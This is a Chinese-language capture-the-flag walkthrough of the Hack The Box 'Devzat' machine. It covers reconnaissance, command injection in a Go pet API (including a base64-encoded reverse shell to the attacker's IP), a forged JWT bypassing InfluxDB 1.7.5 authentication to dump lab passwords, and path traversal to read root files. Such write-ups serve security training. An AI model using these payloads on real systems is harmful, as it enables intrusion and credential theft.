【HTB系列】Devazt
2022-2-6 23:12:2 Author: mp.weixin.qq.com(查看原文) 阅读量:2 收藏

└─# nmap 10.10.11.118 -p 22,80,8000 -sC -sV   --min-rate=200 Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-21 01:26 ESTNmap scan report for 10.10.11.118Host is up (0.38s latency).
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)| 256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)|_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)80/tcp open http Apache httpd 2.4.41|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Did not follow redirect to http://devzat.htb/8000/tcp open ssh (protocol 2.0)| fingerprint-strings: | NULL: |_ SSH-2.0-Go| ssh-hostkey: |_ 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port8000-TCP:V=7.92%I=7%D=12/21%Time=61C173B9%P=x86_64-pc-linux-gnu%r(NSF:ULL,C,"SSH-2\.0-Go\r\n");Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 55.89 seconds

写入hosts

[04:17:55] 200 -   17KB - /LICENSE.txt                                      [04:17:56] 200 -  877B  - /README.txt                                       [04:18:40] 301 -  309B  - /assets  ->  http://devzat.htb/assets/            [04:18:40] 200 -    1KB - /assets/[04:19:18] 301 -  309B  - /images  ->  http://devzat.htb/images/            [04:19:18] 200 -    2KB - /images/[04:19:20] 200 -    6KB - /index.html                                       [04:19:23] 301 -  313B  - /javascript  ->  http://devzat.htb/javascript/

找一下子域,扫描下vhost。扫到了一个pets


用户名

CookieMiaChuckBaluGeorgGustavRudiBruno

漏洞挖掘

尝试添加一下宠物没什么反应。

扫下目录发现 .git 还有目录下的一个目录 build 信息泄露

成功导出的目录如下:

┌──(root💀kali)-[/tmp/dump]└─# tree.├── 0-464614f32483e1fde60ee53f5d3b4d468d80ff62│   ├── characteristics│   ├── commit-meta.txt│   ├── go.mod│   └── go.sum├── 1-8274d7a547c0c3854c074579dfc359664082a8f6│   ├── characteristics│   ├── commit-meta.txt│   ├── go.mod│   └── go.sum└── 2-ef07a04ebb2fc92cf74a39e0e4b843630666a705    ├── characteristics    ├── commit-meta.txt    ├── go.mod    ├── go.sum    ├── main.go    └── petshop
6 directories, 11 files

查看代码发现main.go就是pets.devzat.htb的源代码

package main
import ( "embed" "encoding/json" "fmt" "io/fs" "io/ioutil" "log" "net/http" "os/exec" "time")
//go:embed static/publicvar web embed.FS
//go:embed static/public/index.htmlvar index []byte
type Pet struct { Name string `json:"name"` Species string `json:"species"` Characteristics string `json:"characteristics"`}
var ( Pets []Pet = []Pet{ {Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")}, {Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")}, {Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")}, {Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")}, {Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")}, {Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")}, {Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")}, {Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")}, })
func loadCharacter(species string) string { cmd := exec.Command("sh", "-c", "cat characteristics/"+species) stdoutStderr, err := cmd.CombinedOutput() if err != nil { return err.Error() } return string(stdoutStderr)}
func getPets(w http.ResponseWriter, r *http.Request) { json.NewEncoder(w).Encode(Pets)}
func addPet(w http.ResponseWriter, r *http.Request) { reqBody, _ := ioutil.ReadAll(r.Body) var addPet Pet err := json.Unmarshal(reqBody, &addPet) if err != nil { e := fmt.Sprintf("There has been an error: %+v", err) http.Error(w, e, http.StatusBadRequest) return }
addPet.Characteristics = loadCharacter(addPet.Species) Pets = append(Pets, addPet)
w.WriteHeader(http.StatusOK) fmt.Fprint(w, "Pet was added successfully")}
func handleRequest() { build, err := fs.Sub(web, "static/public/build") if err != nil { panic(err) }
css, err := fs.Sub(web, "static/public/css") if err != nil { panic(err) }
webfonts, err := fs.Sub(web, "static/public/webfonts") if err != nil { panic(err) }
spaHandler := http.HandlerFunc(spaHandlerFunc) // Single page application handler http.Handle("/", headerMiddleware(spaHandler))
// All static folder handler http.Handle("/build/", headerMiddleware(http.StripPrefix("/build", http.FileServer(http.FS(build))))) http.Handle("/css/", headerMiddleware(http.StripPrefix("/css", http.FileServer(http.FS(css))))) http.Handle("/webfonts/", headerMiddleware(http.StripPrefix("/webfonts", http.FileServer(http.FS(webfonts))))) http.Handle("/.git/", headerMiddleware(http.StripPrefix("/.git", http.FileServer(http.Dir(".git")))))
// API routes apiHandler := http.HandlerFunc(petHandler) http.Handle("/api/pet", headerMiddleware(apiHandler)) log.Fatal(http.ListenAndServe("127.0.0.1:5000", nil))}
func spaHandlerFunc(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) w.Write(index)}
func petHandler(w http.ResponseWriter, r *http.Request) { // Dispatch by method if r.Method == http.MethodPost { addPet(w, r) } else if r.Method == http.MethodGet { getPets(w, r)
} else { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) } // TODO: Add Update and Delete}
func headerMiddleware(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Header().Add("Server", "My genious go pet server") next.ServeHTTP(w, r) })}
func main() { resetTicker := time.NewTicker(5 * time.Second) done := make(chan bool)
go func() { for { select { case <-done: return case <-resetTicker.C: // Reset Pets to prestaged ones Pets = []Pet{ {Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")}, {Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")}, {Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")}, {Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")}, {Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")}, {Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")}, {Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")}, {Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")}, }
} } }()
handleRequest()
time.Sleep(500 * time.Millisecond) resetTicker.Stop() done <- true}

源码比较简单,主要逻辑如下:

  • loadCharacter直接调用了exec.Command(),虽然我不知道这个函数的意思,但是参数是一个命令执行cat。

  • 在addPet()函数中调用loadCharacter()且参数可控。

  • 在petHandler中当发送请求为POST时,将会执行addPet()

  • 在handleRequest()方法中最后将petHandler实例化,设置接口/api/pet。

  • 在main()函数中调用了handleRequest()

调用栈如下:

main():  handleRequest()    petHandler()      POST -> addHanler()        loadCharacter()           exec.Command()

尝试构造payload:

sh -c  cat characteristics/ +`curl 10.10.14.50/123`

漏洞利用

curl http://pets.devzat.htb/api/pet -X POST --data '{"name":"123","species":"`curl 10.10.14.50/123`"}'

curl http://pets.devzat.htb/api/pet -X POST --data  '{"name":"123","species":"`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTAvNDQ0NCAwPiYxCg== |base64 -d |bash`"}'

发现私钥,尝试连接22端口,失败了?之前的web页面上有说连8000端口 ,而且8000端口开着,作者在这里来了个surprise!!!

权限提升

patrick -> catherine

先不看这个信息收集一下

root:x:0:0:root:/root:/bin/bashsync:x:4:65534:sync:/bin:/bin/syncpatrick:x:1000:1000:patrick:/home/patrick:/bin/bashcatherine:x:1001:1001:catherine,,,:/home/catherine:/bin/bash
[+] Looks like we're hosting Docker:Docker version 20.10.7, build f0df350
$ netstat -antActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address           Foreign Address         State      tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN     tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.1:49532         127.0.0.1:5000          FIN_WAIT2  tcp        0      0 127.0.0.1:5000          127.0.0.1:49532         CLOSE_WAIT tcp        0      1 10.10.11.118:52254      1.1.1.1:53              SYN_SENT   tcp        0      0 10.10.11.118:47040      10.10.14.50:4444        CLOSE_WAIT tcp        0      0 10.10.11.118:47472      10.10.14.50:4444        ESTABLISHEDtcp6       0      0 :::80                   :::*                    LISTEN     tcp6       0      0 :::22                   :::*                    LISTEN     tcp6       0      0 :::8000                 :::*                    LISTEN

本地开有两个端口 8443 8086在服务器是看不出来是什么服务。

有一个ssh连接,走一个ssh隧道

ssh -L  8086:127.0.0.1:8086 [email protected] -p 8000

不行,frp

cat << EOF >3.txt[common]server_addr = 10.10.14.50server_port = 7000
[ssh]type = tcplocal_ip = 127.0.0.1local_port = 8086remote_port = 6000
nmap 172.16.0.4 -sV -p 6000Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-22 23:49 ?D1ú±ê×?ê±??Nmap scan report for 172.16.0.4Host is up (0.00s latency).
PORT STATE SERVICE VERSION6000/tcp open http InfluxDB http admin 1.7.5MAC Address: 00:0C:29:E9:FA:DE (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.17 seconds

还是无法访问web界面,但是成功扫描到一些目录

[23:55:47] 200 -    2KB - /debug/pprof
[23:55:47] 200 -   9KB - /debug/pprof/goroutine?debug=1
[23:55:47] 200 -   19KB - /debug/pprof/heap
[23:56:09] 200 -   5KB - /metrics
[23:56:21] 204 -   0B  - /ping
[23:56:34] 204 -   0B  - /status
[23:56:34] 204 -   0B  - /status?full=true
curl -G http://127.0.0.1:6000/
{"error":"unable to parse authentication credentials"}

通过网络可以得到InfluxDB http admin 1.7.5存在一个认证绕过的漏洞,认证方法是Jwt,使用python -c "import time;print(time.time())"可以直接获取时间戳,然后创建一个jwt token:

{"alg": "HS256"}
{"username":"admin","exp":1640199606}

eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ

C:\>curl -G http://172.16.0.4:6000/query  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" -i --data-urlencode "q=show databases"


{"results":[{"statement_id":0,"series":[{"name":"databases","columns":["name"],"values":[["devzat"],["_internal"]]}]}]}
C:\>curl -G http://172.16.0.4:6000/query?db=devzat  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" --data-urlencode "q=show measurements"

{"results":[{"statement_id":0,"series":[{"name":"measurements","columns":["name"],"values":[["user"]]}]}]}
C:\Users\Administrator>curl -G "http://172.16.0.4:6000/query?q=show+field+keys&db=devzat"  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" -i

{"results":[{"statement_id":0,"series":[{"name":"user","columns":["fieldKey","fieldType"],"values":[["enabled","boolean"],["password","string"],["username","string"]]}]}]}
C:\>curl -G http://172.16.0.4:6000/query?db=devzat  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" --data-urlencode "q=select * from \"user\""

{"results":[{"statement_id":0,"series":[{"name":"user","columns":["time","enabled","password","username"],"values":[["2021-06-22T20:04:16.313965493Z",false,"WillyWonka2021","wilhelm"],["2021-06-22T20:04:16.320782034Z",true,"woBeeYareedahc7Oogeephies7Aiseci","catherine"],["2021-06-22T20:04:16.996682002Z",true,"RoyalQueenBee$","charles"]]}]}]}

找到了catherine用户的密码:

catherine:woBeeYareedahc7Oogeephies7Aiseci

ssh [email protected]

catherine -> root

find /var -user catherine 2>/dev/null

在/var/backups目录下找到了两个备份文件devzat-main.zip和devzat-dev.zip

catherine@devzat:/var/backups$ ls -alls -altotal 1132drwxr-xr-x 2 root     root       4096 Dec 23 06:25 .drwxr-xr-x 14 root     root       4096 Jun 22 2021 ..-rw-r--r-- 1 root     root       51200 Dec 23 06:25 alternatives.tar.0-rw-r--r-- 1 root     root       59142 Sep 28 18:45 apt.extended_states.0-rw-r--r-- 1 root     root       6588 Sep 21 20:17 apt.extended_states.1.gz-rw-r--r-- 1 root     root       6602 Jul 16 06:41 apt.extended_states.2.gz-rw------- 1 catherine catherine 28297 Jul 16 07:00 devzat-dev.zip-rw------- 1 catherine catherine 27567 Jul 16 07:00 devzat-main.zip-rw-r--r-- 1 root     root         268 Sep 29 11:46 dpkg.diversions.0-rw-r--r-- 1 root     root         170 Jul 16 06:41 dpkg.statoverride.0-rw-r--r-- 1 root     root     951869 Sep 28 18:45 dpkg.status.0
catherine@devzat:/tmp/dev$ grep -iR passgrep -iR passdevchat.go:             u.writeln("patrick", "That's perfectly fine :thumbs_up: You'll need a password which you can gather from the source. I left it in our default backups location.")commands.go:           u.system("Please provide file to print and the password")commands.go:           u.system("You need to provide the correct password to use this function")commands.go:   pass := args[1]commands.go:   // Check my secure passwordcommands.go:   if pass != "CeilingCatStillAThingIn2021?" {commands.go:           u.system("You did provide the wrong password")testfile.txt:Through me you pass into the city of woe:testfile.txt:Through me you pass into eternal pain:

有一个密码CeilingCatStillAThingIn2021?

python3 -c "import pty;pty.spawn('/bin/bash')"

发现root启动了一个进程。

经过比对后发现两份源码关键的变化在

可以使用命令diff

diff dev/commands.go main/commands.go >> diff.txt

func fileCommand(u *user, args []string) {  if len(args) < 1 {    u.system("Please provide file to print and the password")    return  }
if len(args) < 2 { u.system("You need to provide the correct password to use this function") return }
path := args[0] pass := args[1]
// Check my secure password if pass != "CeilingCatStillAThingIn2021?" { u.system("You did provide the wrong password") return }
// Get CWD 获取目录 cwd, err := os.Getwd()
if err != nil { u.system(err.Error()) }
// Construct path to print 拼接路径 printPath := filepath.Join(cwd, path)
// Check if file exists 检查文件是否存在 if _, err := os.Stat(printPath); err == nil { // exists, print file, err := os.Open(printPath)//打开文件 if err != nil { u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error())) return } defer file.Close()//go 语言特性:defer 存在的函数或语句最后执行 //go中文件读取操作,由于服务是使用root启动的,可以读取root权限的文件。 scanner := bufio.NewScanner(file) for scanner.Scan() { u.system(scanner.Text())// }
if err := scanner.Err(); err != nil { u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error())) }
return
} else if os.IsNotExist(err) { // does not exist, print error u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath)) return } // bokred? u.system("Something went badly wrong.")}func (u *user) system(message string) {//输出函数 u.term.Write([]byte(red.Paint("[SYSTEM] ") + mdRender(message, 9, u.win.Width) + "\n"))}

这段代码中存在可控的文件读取功能。

可以通过控制第一个参数控制路径,通过第二个参数pass绕过检测。

ssh -l root 127.0.0.1 -p 8443

构造payload

file ../../../../etc/passwd CeilingCatStillAThingIn2021?

上传公钥,连接一个稳定ssh再试

成功


文章来源: https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&mid=2247485019&idx=1&sn=917b135b1bdf8dbdeb8523ab8d845dff&chksm=fcdf59f3cba8d0e59391e312acd224d9f3837ae86366cb121cdd891364109574a8784f282055&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh